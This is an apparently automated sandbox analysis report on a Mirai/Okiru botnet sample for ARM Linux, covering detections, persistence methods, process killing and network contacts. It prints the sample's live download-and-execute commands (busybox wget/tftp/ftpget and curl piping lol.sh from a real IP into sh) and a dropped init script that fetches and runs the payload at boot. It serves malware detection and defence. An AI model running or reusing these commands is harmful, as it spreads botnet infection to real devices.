Linux Analysis Report
arm.nn.elf

Overview

General Information

Sample name: arm.nn.elf
Analysis ID: 1561694
MD5: 964a8187a0b88f0c8f732303d6dc0990
SHA1: 637fb7bab0cb48b26c206d792e381a9af0ae35fc
SHA256: 78bebeb36aff9325189c241ea5ef1f60a28ef5bdc096e23943bb9071e402f479
Tags: elfuser-abuse_ch
Infos:

Detection

Mirai, Okiru
Score: 88
Range: 0 - 100
Whitelisted: false

Signatures

Antivirus / Scanner detection for submitted sample
Multi AV Scanner detection for submitted file
Yara detected Mirai
Yara detected Okiru
Drops files in suspicious directories
Sample tries to persist itself using /etc/profile
Sample tries to persist itself using System V runlevels
Sample tries to set files in /etc globally writable
Detected TCP or UDP traffic on non-standard ports
Enumerates processes within the "proc" file system
Executes commands using a shell command-line interpreter
Executes the "chmod" command used to modify permissions
Executes the "mkdir" command used to create folders
Executes the "systemctl" command used for controlling the systemd system and service manager
Found strings indicative of a multi-platform dropper
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Sample listens on a socket
Sample tries to kill a process (SIGKILL)
Sample tries to set the executable flag
Uses the "uname" system call to query kernel version information (possible evasion)
Writes shell script file to disk with an unusual file extension

Classification

Name Description Attribution Blogpost URLs Link
Mirai Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

AV Detection
barindex
Antivirus / Scanner detection for submitted sample
Source: arm.nn.elf Avira: detected
Multi AV Scanner detection for submitted file
Source: arm.nn.elf ReversingLabs: Detection: 47%
Found strings indicative of a multi-platform dropper
Source: arm.nn.elf String: (deleted)/proc/self/exe/proc/%s/exe/proc/opendirtmpfs/tmp/ttsize=10M/tmp/tt/system/proc/%d/proc/proc/%u/statusPPid:/proc/%u/cmdline-bash-sh/bin/shFound And Killed Process: PID=%d, Realpath=%s487154914<146<2surf2/proc/%d/exe/ /tmp/./fd/socket/proc/%d/mountinfo/usr/lib/systemd/*/usr/sbin/*/usr/sbin/agetty/usr/sbin/cron/usr/lib/policykit-1/polkitd/snap/snapd/15534/usr/lib/snapd/snapd/usr/bin/dbus-daemon/usr/lib/openssh/sftp-server-sshd**deamon*/usr/libexec/openssh/sftp-server/opt/app/monitor/z/secom//usr/lib/usr/mnt/sys/bin/boot/media/srv/sbin/lib/etc/dev/telnetbashhttpdtelnetddropbearropbearencoder/var/tmp/wlancontwlancontarm.nnarm5.nnarm6.nnm68k.nnmips.nnmipsel.nnpowerpc.nnsparc.nnx86_32.nnx86_64.nn/initvar/Challengeapp/hi3511gmDVRiboxusr/dvr_main _8182T_1108mnt/mtd/app/guivar/Kylinl0 c/udevdanko-app/ankosample _8182T_1104var/tmp/soniahicorestm_hi3511_dvr/bin/busybox/usr/lib/systemd/systemdshellvar/run/home/Davincisshwatchdog/var/spool/var/Sofiasshd/usr/compress/bin//compress/bin/compress/usr//root/dvr_gui//root/dvr_app//anko-app//opt/wgetcurlping/pswiresharktcpdumpnetstatpythoniptablesnanonvimvimgdbpkillkillallapt/bin/login193.143.1.70malloc[start_pid_hopping] Failed to clone: %s
Source: arm.nn.elf String: incorrectinvalidbadwrongfaildeniederrorretryenableshlinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd /bin/busybox echo -ne >> .ksh .k/bin/busybox wget http://193.143.1.70/lol.sh -O- | sh;/bin/busybox tftp -g http://193.143.1.70/ -r lol.sh -l- | sh;/bin/busybox ftpget http://193.143.1.70/ lol.sh lol.sh && sh lol.sh;curl http://193.143.1.70/curl.sh -o- | shGET /dlr. HTTP/1.0
Detected TCP or UDP traffic on non-standard ports
Source: global traffic TCP traffic: 192.168.2.13:40284 -> 154.216.19.139:199
Source: global traffic TCP traffic: 192.168.2.13:59524 -> 193.143.1.70:38242
Sample listens on a socket
Source: /tmp/arm.nn.elf (PID: 5425) Socket: 0.0.0.0:38242 Jump to behavior
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 193.143.1.70
Source: unknown TCP traffic detected without corresponding DNS query: 215.241.162.85
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 154.24.99.158
Source: unknown TCP traffic detected without corresponding DNS query: 154.216.19.139
Source: unknown TCP traffic detected without corresponding DNS query: 112.201.107.153
Source: unknown TCP traffic detected without corresponding DNS query: 206.45.207.119
Source: unknown TCP traffic detected without corresponding DNS query: 95.7.85.232
Source: unknown TCP traffic detected without corresponding DNS query: 98.4.44.95
Source: unknown TCP traffic detected without corresponding DNS query: 193.143.1.70
Source: unknown TCP traffic detected without corresponding DNS query: 193.143.1.70
Source: unknown TCP traffic detected without corresponding DNS query: 215.241.162.85
Source: unknown TCP traffic detected without corresponding DNS query: 172.84.217.167
Source: unknown TCP traffic detected without corresponding DNS query: 45.183.103.134
Source: unknown TCP traffic detected without corresponding DNS query: 154.24.99.158
Source: unknown TCP traffic detected without corresponding DNS query: 112.201.107.153
Source: unknown TCP traffic detected without corresponding DNS query: 206.45.207.119
Source: unknown TCP traffic detected without corresponding DNS query: 95.7.85.232
Source: unknown TCP traffic detected without corresponding DNS query: 98.4.44.95
Source: unknown TCP traffic detected without corresponding DNS query: 145.101.158.98
Source: global traffic DNS traffic detected: DNS query: daisy.ubuntu.com
Source: arm.nn.elf, profile.12.dr, system.12.dr, inittab.12.dr, arm.nn.elf.36.dr, bootcmd.12.dr, custom.service.12.dr String found in binary or memory: http://193.143.1.70/
Source: arm.nn.elf String found in binary or memory: http://193.143.1.70/curl.sh
Source: arm.nn.elf String found in binary or memory: http://193.143.1.70/lol.sh
Source: arm.nn.elf String found in binary or memory: http://193.143.1.70/oro1vk/usr/sbin/reboot/usr/bin/reboot/usr/sbin/shutdown/usr/bin/shutdown/usr/sbi
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Source: Initial sample String containing 'busybox' found: /bin/busybox
Source: Initial sample String containing 'busybox' found: (deleted)/proc/self/exe/proc/%s/exe/proc/opendirtmpfs/tmp/ttsize=10M/tmp/tt/system/proc/%d/proc/proc/%u/statusPPid:/proc/%u/cmdline-bash-sh/bin/shFound And Killed Process: PID=%d, Realpath=%s487154914<146<2surf2/proc/%d/exe/ /tmp/./fd/socket/proc/%d/mountinfo/usr/lib/systemd/*/usr/sbin/*/usr/sbin/agetty/usr/sbin/cron/usr/lib/policykit-1/polkitd/snap/snapd/15534/usr/lib/snapd/snapd/usr/bin/dbus-daemon/usr/lib/openssh/sftp-server-sshd**deamon*/usr/libexec/openssh/sftp-server/opt/app/monitor/z/secom//usr/lib/usr/mnt/sys/bin/boot/media/srv/sbin/lib/etc/dev/telnetbashhttpdtelnetddropbearropbearencoder/var/tmp/wlancontwlancontarm.nnarm5.nnarm6.nnm68k.nnmips.nnmipsel.nnpowerpc.nnsparc.nnx86_32.nnx86_64.nn/initvar/Challengeapp/hi3511gmDVRiboxusr/dvr_main _8182T_1108mnt/mtd/app/guivar/Kylinl0 c/udevdanko-app/ankosample _8182T_1104var/tmp/soniahicorestm_hi3511_dvr/bin/busybox/usr/lib/systemd/systemdshellvar/run/home/Davincisshwatchdog/var/spool/var/Sofiasshd/usr/compress/bin//compress/bin/compress/usr//root/dvr_gui//ro
Source: Initial sample String containing 'busybox' found: usage: busybox
Source: Initial sample String containing 'busybox' found: /bin/busybox hostname PBOC
Source: Initial sample String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample String containing 'busybox' found: /bin/busybox wget http://193.143.1.70/lol.sh -O- | sh;
Source: Initial sample String containing 'busybox' found: /bin/busybox tftp -g http://193.143.1.70/ -r lol.sh -l- | sh;
Source: Initial sample String containing 'busybox' found: /bin/busybox ftpget http://193.143.1.70/ lol.sh lol.sh && sh lol.sh;
Source: Initial sample String containing 'busybox' found: /bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrep
Source: Initial sample String containing 'busybox' found: incorrectinvalidbadwrongfaildeniederrorretryenableshlinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd /bin/busybox echo -ne >> .ksh .k/bin/busybox wget http://193.143.1.70/lol.sh -O- | sh;/bin/busybox tftp -g http://193.143.1.70/ -r lol.sh -l- | sh;/bin/busybox ftpget http://193.143.1.70/ lol.sh lol.sh && sh lol.sh;curl http://193.143.1.70/curl.sh -o- | shGET /dlr. HTTP/1.0
Source: Initial sample String containing 'busybox' found: > .d/bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrepThe Gorilla/var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D\x20\x22\x24\x7B\x72\x65\x73\x75\x6C\x74\x25\x28\x64\x65\x6C\x65\x74\x65\x64\x29\x7D\x22\x20\x5D""\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64\x22\x0A\x20\x20""\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4t
Sample has stripped symbol table
Source: ELF static info symbol of initial sample .symtab present: no
Sample tries to kill a process (SIGKILL)
Source: /tmp/arm.nn.elf (PID: 5443) SIGKILL sent: pid: 792, result: successful Jump to behavior
Source: /tmp/arm.nn.elf (PID: 5443) SIGKILL sent: pid: 884, result: successful Jump to behavior
Source: /tmp/arm.nn.elf (PID: 5443) SIGKILL sent: pid: 1944, result: successful Jump to behavior
Source: /tmp/arm.nn.elf (PID: 5443) SIGKILL sent: pid: 3181, result: successful Jump to behavior
Source: /tmp/arm.nn.elf (PID: 5443) SIGKILL sent: pid: 3185, result: successful Jump to behavior
Source: /tmp/arm.nn.elf (PID: 5443) SIGKILL sent: pid: 5491, result: successful Jump to behavior
Source: classification engine Classification label: mal88.spre.troj.evad.linELF@0/10@2/0

Persistence and Installation Behavior
barindex
Sample tries to persist itself using /etc/profile
Source: /tmp/arm.nn.elf (PID: 5425) File: /etc/profile Jump to behavior
Sample tries to persist itself using System V runlevels
Source: /tmp/arm.nn.elf (PID: 5425) File: /etc/rc.local Jump to behavior
Source: /usr/bin/ln (PID: 5507) File: /etc/rcS.d/S99system -> /etc/init.d/system Jump to behavior
Source: /usr/bin/ln (PID: 5553) File: /etc/rc.d/S99arm.nn.elf -> /etc/init.d/arm.nn.elf Jump to behavior
Sample tries to set files in /etc globally writable
Source: /tmp/arm.nn.elf (PID: 5425) File: /etc/rc.local (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Source: /usr/bin/chmod (PID: 5504) File: /etc/init.d/system (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Source: /usr/bin/chmod (PID: 5518) File: /etc/init.d/arm.nn.elf (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Enumerates processes within the "proc" file system
Source: /tmp/arm.nn.elf (PID: 5579) File opened: /proc/5685/status Jump to behavior
Source: /tmp/arm.nn.elf (PID: 5579) File opened: /proc/5740/status Jump to behavior
Source: /tmp/arm.nn.elf (PID: 5579) File opened: /proc/5686/status Jump to behavior
Source: /tmp/arm.nn.elf (PID: 5579) File opened: /proc/5268/cmdline Jump to behavior
Source: /tmp/arm.nn.elf (PID: 5579) File opened: /proc/5741/status Jump to behavior
Source: /tmp/arm.nn.elf (PID: 5579) File opened: /proc/5717/status Jump to behavior
Source: /tmp/arm.nn.elf (PID: 5579) File opened: /proc/5739/status Jump to behavior
Source: /tmp/arm.nn.elf (PID: 5579) File opened: /proc/5718/status Jump to behavior
Source: /tmp/arm.nn.elf (PID: 5579) File opened: /proc/5719/status Jump to behavior
Source: /tmp/arm.nn.elf (PID: 5579) File opened: /proc/5654/status Jump to behavior
Source: /tmp/arm.nn.elf (PID: 5579) File opened: /proc/5731/status Jump to behavior
Source: /tmp/arm.nn.elf (PID: 5579) File opened: /proc/5655/status Jump to behavior
Source: /tmp/arm.nn.elf (PID: 5579) File opened: /proc/5699/status Jump to behavior
Source: /tmp/arm.nn.elf (PID: 5579) File opened: /proc/5710/status Jump to behavior
Source: /tmp/arm.nn.elf (PID: 5579) File opened: /proc/5732/status Jump to behavior
Source: /tmp/arm.nn.elf (PID: 5579) File opened: /proc/5711/status Jump to behavior
Source: /tmp/arm.nn.elf (PID: 5579) File opened: /proc/5733/status Jump to behavior
Source: /tmp/arm.nn.elf (PID: 5579) File opened: /proc/5712/status Jump to behavior
Source: /tmp/arm.nn.elf (PID: 5579) File opened: /proc/5734/status Jump to behavior
Source: /tmp/arm.nn.elf (PID: 5579) File opened: /proc/5658/status Jump to behavior
Source: /tmp/arm.nn.elf (PID: 5579) File opened: /proc/5713/status Jump to behavior
Source: /tmp/arm.nn.elf (PID: 5579) File opened: /proc/5735/status Jump to behavior
Source: /tmp/arm.nn.elf (PID: 5579) File opened: /proc/5714/status Jump to behavior
Source: /tmp/arm.nn.elf (PID: 5579) File opened: /proc/5736/status Jump to behavior
Source: /tmp/arm.nn.elf (PID: 5579) File opened: /proc/5715/status Jump to behavior
Source: /tmp/arm.nn.elf (PID: 5579) File opened: /proc/5737/status Jump to behavior
Source: /tmp/arm.nn.elf (PID: 5579) File opened: /proc/5716/status Jump to behavior
Source: /tmp/arm.nn.elf (PID: 5579) File opened: /proc/5738/status Jump to behavior
Source: /tmp/arm.nn.elf (PID: 5579) File opened: /proc/5690/status Jump to behavior
Source: /tmp/arm.nn.elf (PID: 5579) File opened: /proc/5691/status Jump to behavior
Source: /tmp/arm.nn.elf (PID: 5579) File opened: /proc/5653/status Jump to behavior
Source: /tmp/arm.nn.elf (PID: 5579) File opened: /proc/5730/status Jump to behavior
Source: /tmp/arm.nn.elf (PID: 5579) File opened: /proc/1/cmdline Jump to behavior
Source: /tmp/arm.nn.elf (PID: 5579) File opened: /proc/5687/status Jump to behavior
Source: /tmp/arm.nn.elf (PID: 5579) File opened: /proc/5720/status Jump to behavior
Source: /tmp/arm.nn.elf (PID: 5579) File opened: /proc/5742/status Jump to behavior
Source: /tmp/arm.nn.elf (PID: 5579) File opened: /proc/5688/status Jump to behavior
Source: /tmp/arm.nn.elf (PID: 5579) File opened: /proc/5721/status Jump to behavior
Source: /tmp/arm.nn.elf (PID: 5579) File opened: /proc/5743/status Jump to behavior
Source: /tmp/arm.nn.elf (PID: 5579) File opened: /proc/5689/status Jump to behavior
Source: /tmp/arm.nn.elf (PID: 5579) File opened: /proc/802/cmdline Jump to behavior
Source: /tmp/arm.nn.elf (PID: 5579) File opened: /proc/5722/status Jump to behavior
Source: /tmp/arm.nn.elf (PID: 5579) File opened: /proc/5744/status Jump to behavior
Source: /tmp/arm.nn.elf (PID: 5579) File opened: /proc/5723/status Jump to behavior
Source: /tmp/arm.nn.elf (PID: 5579) File opened: /proc/5745/status Jump to behavior
Source: /tmp/arm.nn.elf (PID: 5579) File opened: /proc/5746/status Jump to behavior
Source: /tmp/arm.nn.elf (PID: 5579) File opened: /proc/5747/status Jump to behavior
Executes commands using a shell command-line interpreter
Source: /tmp/arm.nn.elf (PID: 5461) Shell command executed: sh -c "systemctl enable custom.service >/dev/null 2>&1" Jump to behavior
Source: /tmp/arm.nn.elf (PID: 5498) Shell command executed: sh -c "chmod +x /etc/init.d/system >/dev/null 2>&1" Jump to behavior
Source: /tmp/arm.nn.elf (PID: 5505) Shell command executed: sh -c "ln -s /etc/init.d/system /etc/rcS.d/S99system >/dev/null 2>&1" Jump to behavior
Source: /tmp/arm.nn.elf (PID: 5508) Shell command executed: sh -c "echo \"#!/bin/sh\n# /etc/init.d/arm.nn.elf\n\ncase \\\"$1\\\" in\n start)\n echo 'Starting arm.nn.elf'\n /tmp/arm.nn.elf &\n wget http://193.143.1.70/ -O /tmp/lol.sh\n chmod +x /tmp/lol.sh\n /tmp/lol.sh &\n ;;\n stop)\n echo 'Stopping arm.nn.elf'\n killall arm.nn.elf\n ;;\n restart)\n $0 stop\n $0 start\n ;;\n *)\n echo \\\"Usage: $0 {start|stop|restart}\\\"\n exit 1\n ;;\nesac\nexit 0\" > /etc/init.d/arm.nn.elf" Jump to behavior
Source: /tmp/arm.nn.elf (PID: 5513) Shell command executed: sh -c "chmod +x /etc/init.d/arm.nn.elf >/dev/null 2>&1" Jump to behavior
Source: /tmp/arm.nn.elf (PID: 5541) Shell command executed: sh -c "mkdir -p /etc/rc.d >/dev/null 2>&1" Jump to behavior
Source: /tmp/arm.nn.elf (PID: 5548) Shell command executed: sh -c "ln -s /etc/init.d/arm.nn.elf /etc/rc.d/S99arm.nn.elf >/dev/null 2>&1" Jump to behavior
Executes the "chmod" command used to modify permissions
Source: /bin/sh (PID: 5504) Chmod executable: /usr/bin/chmod -> chmod +x /etc/init.d/system Jump to behavior
Source: /bin/sh (PID: 5518) Chmod executable: /usr/bin/chmod -> chmod +x /etc/init.d/arm.nn.elf Jump to behavior
Executes the "mkdir" command used to create folders
Source: /bin/sh (PID: 5547) Mkdir executable: /usr/bin/mkdir -> mkdir -p /etc/rc.d Jump to behavior
Executes the "systemctl" command used for controlling the systemd system and service manager
Source: /bin/sh (PID: 5473) Systemctl executable: /usr/bin/systemctl -> systemctl enable custom.service Jump to behavior
Sample tries to set the executable flag
Source: /tmp/arm.nn.elf (PID: 5425) File: /etc/rc.local (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Source: /usr/bin/chmod (PID: 5504) File: /etc/init.d/system (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Source: /usr/bin/chmod (PID: 5518) File: /etc/init.d/arm.nn.elf (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Writes shell script file to disk with an unusual file extension
Source: /tmp/arm.nn.elf (PID: 5425) Writes shell script file to disk with an unusual file extension: /etc/init.d/system Jump to dropped file
Source: /tmp/arm.nn.elf (PID: 5425) Writes shell script file to disk with an unusual file extension: /etc/rc.local Jump to dropped file
Source: /bin/sh (PID: 5508) Writes shell script file to disk with an unusual file extension: /etc/init.d/arm.nn.elf Jump to dropped file

Hooking and other Techniques for Hiding and Protection
barindex
Drops files in suspicious directories
Source: /tmp/arm.nn.elf (PID: 5425) File: /etc/init.d/system Jump to dropped file
Source: /bin/sh (PID: 5508) File: /etc/init.d/arm.nn.elf Jump to dropped file
Uses the "uname" system call to query kernel version information (possible evasion)
Source: /tmp/arm.nn.elf (PID: 5425) Queries kernel information via 'uname': Jump to behavior
Source: arm.nn.elf, 5425.1.000055adcb757000.000055adcb8a6000.rw-.sdmp Binary or memory string: /etc/qemu-binfmt/arm/usrQ
Source: arm.nn.elf, 5425.1.000055adcb757000.000055adcb8a6000.rw-.sdmp, arm.nn.elf, 5443.1.000055adcb757000.000055adcb8a6000.rw-.sdmp Binary or memory string: U!/etc/qemu-binfmt/arm
Source: arm.nn.elf, 5425.1.00007ffef851b000.00007ffef853c000.rw-.sdmp, arm.nn.elf, 5443.1.00007ffef851b000.00007ffef853c000.rw-.sdmp Binary or memory string: x86_64/usr/bin/qemu-arm/tmp/arm.nn.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/arm.nn.elf
Source: arm.nn.elf, 5443.1.000055adcb757000.000055adcb8a6000.rw-.sdmp Binary or memory string: U/arm/sr/bin0!/usr/bin/VGAuthService1/proc/3434/exe/arm/sr10!/usr/bin/gnome-shell!/proc/727/exe1/usr/libexec/geoclue-2.0/demos/agent!/proc/1691/exe0!/usr/bin/vmtoolsd1/usr/lib/policykit-1-gnome0!/proc/1648/exe0!/proc/765/exe1/usr/lib/x86_64-linux-gnu/xfce4/panelq
Source: arm.nn.elf, 5443.1.00007f99f803b000.00007f99f803f000.rw-.sdmp Binary or memory string: /usr/bin/vmtoolsd
Source: arm.nn.elf, 5425.1.000055adcb757000.000055adcb8a6000.rw-.sdmp, arm.nn.elf, 5443.1.000055adcb757000.000055adcb8a6000.rw-.sdmp Binary or memory string: /etc/qemu-binfmt/arm
Source: arm.nn.elf, 5425.1.00007ffef851b000.00007ffef853c000.rw-.sdmp Binary or memory string: /tmp/qemu-open.9pivYo
Source: arm.nn.elf, 5425.1.00007ffef851b000.00007ffef853c000.rw-.sdmp, arm.nn.elf, 5443.1.00007ffef851b000.00007ffef853c000.rw-.sdmp, arm.nn.elf, 5443.1.00007f99f803f000.00007f99f8044000.rw-.sdmp Binary or memory string: /usr/bin/qemu-arm
Source: arm.nn.elf, 5425.1.00007ffef851b000.00007ffef853c000.rw-.sdmp Binary or memory string: U/tmp/qemu-open.9pivYo
Source: arm.nn.elf, 5425.1.00007ffef851b000.00007ffef853c000.rw-.sdmp Binary or memory string: qemu: uncaught target signal 11 (Segmentation fault) - core dumped
Source: arm.nn.elf, 5443.1.00007f99f803b000.00007f99f803f000.rw-.sdmp Binary or memory string: /usr/bin/vmtoolsd8

Stealing of Sensitive Information
barindex
Yara detected Mirai
Source: Yara match File source: arm.nn.elf, type: SAMPLE
Source: Yara match File source: 5443.1.00007f99f8017000.00007f99f8033000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 5425.1.00007f99f8017000.00007f99f8033000.r-x.sdmp, type: MEMORY
Yara detected Okiru
Source: Yara match File source: arm.nn.elf, type: SAMPLE
Source: Yara match File source: 5443.1.00007f99f8017000.00007f99f8033000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 5425.1.00007f99f8017000.00007f99f8033000.r-x.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: arm.nn.elf PID: 5425, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: arm.nn.elf PID: 5443, type: MEMORYSTR

Remote Access Functionality
barindex
Yara detected Mirai
Source: Yara match File source: arm.nn.elf, type: SAMPLE
Source: Yara match File source: 5443.1.00007f99f8017000.00007f99f8033000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 5425.1.00007f99f8017000.00007f99f8033000.r-x.sdmp, type: MEMORY
Yara detected Okiru
Source: Yara match File source: arm.nn.elf, type: SAMPLE
Source: Yara match File source: 5443.1.00007f99f8017000.00007f99f8033000.r-x.sdmp, type: MEMORY
Source: Yara match File source: 5425.1.00007f99f8017000.00007f99f8033000.r-x.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: arm.nn.elf PID: 5425, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: arm.nn.elf PID: 5443, type: MEMORYSTR

No Screenshots

  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
113.42.94.38
 unknown Japan 17506 UCOMARTERIANetworksCorporationJP false
96.245.140.72
 unknown United States
701 UUNETUS false
62.143.23.252
 unknown Germany
6830 LIBERTYGLOBALLibertyGlobalformerlyUPCBroadbandHolding false
78.251.147.18
 unknown France
12322 PROXADFR false
116.95.174.235
 unknown China
4837 CHINA169-BACKBONECHINAUNICOMChina169BackboneCN false
219.114.195.125
 unknown Japan 9617 ZAQJupiterTelecommunicationsCoLtdJP false
199.56.29.243
 unknown United States
398192 ARDOT-NET-01US false
14.188.157.232
 unknown Viet Nam
45899 VNPT-AS-VNVNPTCorpVN false
153.180.57.238
 unknown Japan 4713 OCNNTTCommunicationsCorporationJP false
223.252.154.100
 unknown China
37943 CNNIC-GIANTZhengZhouGIANTComputerNetworkTechnologyCo false
125.79.2.134
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
58.109.213.228
 unknown Australia
4804 MPX-ASMicroplexPTYLTDAU false
95.4.79.123
 unknown Turkey
9121 TTNETTR false
170.117.87.174
 unknown United States
22347 DORSEY-WHITNEYUS false
34.223.160.0
 unknown United States
16509 AMAZON-02US false
93.234.227.6
 unknown Germany
3320 DTAGInternetserviceprovideroperationsDE false
193.236.21.163
 unknown Portugal
3218 COSMOS-3218-ASAS-COSMOSrootRU false
16.126.203.160
 unknown United States
unknown unknown false
84.62.211.219
 unknown Germany
3209 VODANETInternationalIP-BackboneofVodafoneDE false
169.214.26.150
 unknown Korea Republic of
37611 AfrihostZA false
217.1.234.6
 unknown Germany
3320 DTAGInternetserviceprovideroperationsDE false
217.118.118.50
 unknown United Kingdom
3257 GTT-BACKBONEGTTDE false
42.29.90.88
 unknown Korea Republic of
9644 SKTELECOM-NET-ASSKTelecomKR false
201.126.227.149
 unknown Mexico
8151 UninetSAdeCVMX false
139.41.28.196
 unknown United States
9905 LINKNET-ID-APLinknetASNID false
35.75.143.9
 unknown United States
16509 AMAZON-02US false
78.95.81.177
 unknown Saudi Arabia
39891 ALJAWWALSTC-ASSA false
33.182.100.211
 unknown United States
2686 ATGS-MMD-ASUS false
20.159.149.139
 unknown United States
8075 MICROSOFT-CORP-MSN-AS-BLOCKUS false
206.69.165.70
 unknown United States
2914 NTT-COMMUNICATIONS-2914US false
34.224.71.193
 unknown United States
14618 AMAZON-AESUS false
44.22.207.172
 unknown United States
7377 UCSDUS false
114.12.251.223
 unknown Indonesia
56046 CMNET-JIANGSU-APChinaMobilecommunicationscorporationCN false
29.193.34.93
 unknown United States
7922 COMCAST-7922US false
16.228.53.142
 unknown United States
unknown unknown false
144.69.94.0
 unknown United States
36351 SOFTLAYERUS false
107.91.229.145
 unknown United States
20057 ATT-MOBILITY-LLC-AS20057US false
24.247.224.32
 unknown United States
20115 CHARTER-20115US false
43.93.107.173
 unknown Japan 4249 LILLY-ASUS false
89.29.142.34
 unknown Spain
41368 TVALMANSA-ASNES false
93.44.79.175
 unknown Italy
12874 FASTWEBIT false
52.146.193.102
 unknown United States
8075 MICROSOFT-CORP-MSN-AS-BLOCKUS false
196.210.230.123
 unknown South Africa
3741 ISZA false
146.98.126.28
 unknown United States
31822 CITY-UNIVERSITY-OF-NEW-YORKUS false
5.168.22.236
 unknown Italy
16232 ASN-TIMServiceProviderIT false
144.75.35.66
 unknown United States
14169 VMI-ASNUS false
152.64.89.16
 unknown United States
6400 CompaniaDominicanadeTelefonosSADO false
54.164.156.159
 unknown United States
14618 AMAZON-AESUS false
34.93.140.228
 unknown United States
15169 GOOGLEUS false
145.24.98.160
 unknown Netherlands
1103 SURFNET-NLSURFnetTheNetherlandsNL false
196.219.241.149
 unknown Egypt
8452 TE-ASTE-ASEG false
157.229.220.96
 unknown United States
122 UPMC-AS122US false
5.79.13.93
 unknown United Kingdom
